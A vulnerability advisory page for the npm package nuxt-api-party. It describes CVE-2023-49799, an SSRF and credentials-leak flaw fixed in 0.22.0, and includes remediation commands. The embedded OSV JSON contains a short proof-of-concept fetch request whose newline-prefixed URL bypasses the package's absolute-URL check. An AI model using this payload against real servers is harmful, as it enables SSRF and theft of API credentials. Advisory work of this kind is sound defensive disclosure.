Vulnerabilities in pkg:npm/nuxt-api-party
PACKAGECVE-2023-49799 is a HIGH (CVSS 7.5) ssrf & credentials leak vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Nuxt api party libraries in the npm ecosystem. The issue involves ssrf & credentials leak. Remediation is available by upgrading affected packages to version 0.22.0.
pkg:npm/nuxt-api-party
Vulnerability advisories affecting package pkg:npm/nuxt-api-party. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3wfp-253j-5jxv | CVE-2023-49799 | HIGH | SSRF & Credentials Leak |
| GHSA-q6hx-3m4p-749h | CVE-2023-49800 | HIGH | DOS by abusing `fetchOptions.retry`. |
CVE-2023-49799 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2023-49799
To remediate this vulnerability, upgrade all affected Nuxt api party dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nuxt-api-party@0.22.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nuxt-api-party
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2023-49799, inspect your project dependencies using npm:
npm ls nuxt-api-party
Analyze the terminal output to locate any version of Nuxt api party in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.0), your application is affected.
Note: The npm ls nuxt-api-party command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Nuxt api party, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-49799 Affected Nuxt api party Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nuxt-api-party
|
npm |
< 0.22.0
|
0.22.0
|
References
Frequently Asked Questions
What is CVE-2023-49799?
Which Nuxt api party versions are affected?
What version fixes CVE-2023-49799?
Is nuxt-api-party affected?
What is the CVSS score of CVE-2023-49799?
What CWE is associated with CVE-2023-49799?
How can I check npm dependencies for CVE-2023-49799?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3wfp-253j-5jxv",
"modified" : "2023-12-12T00:49:44Z",
"published" : "2023-12-12T00:49:44Z",
"aliases" : [ "CVE-2023-49799" ],
"summary" : "SSRF & Credentials Leak ",
"details" : "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n if (new URL(path, 'http://localhost').origin !== 'http://localhost') {\n // ...\n }\n```\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nuxt-api-party"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.22.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
}, {
"type" : "WEB",
"url" : "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
}, {
"type" : "WEB",
"url" : "https://fetch.spec.whatwg.org"
}, {
"type" : "WEB",
"url" : "https://fetch.spec.whatwg.org/#http-whitespace-byte"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/johannschopplich/nuxt-api-party"
}, {
"type" : "WEB",
"url" : "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
}, {
"type" : "WEB",
"url" : "https://infra.spec.whatwg.org/#byte-sequence"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2023-12-12T00:49:44Z",
"nvd_published_at" : "2023-12-09T00:15:07Z"
}
}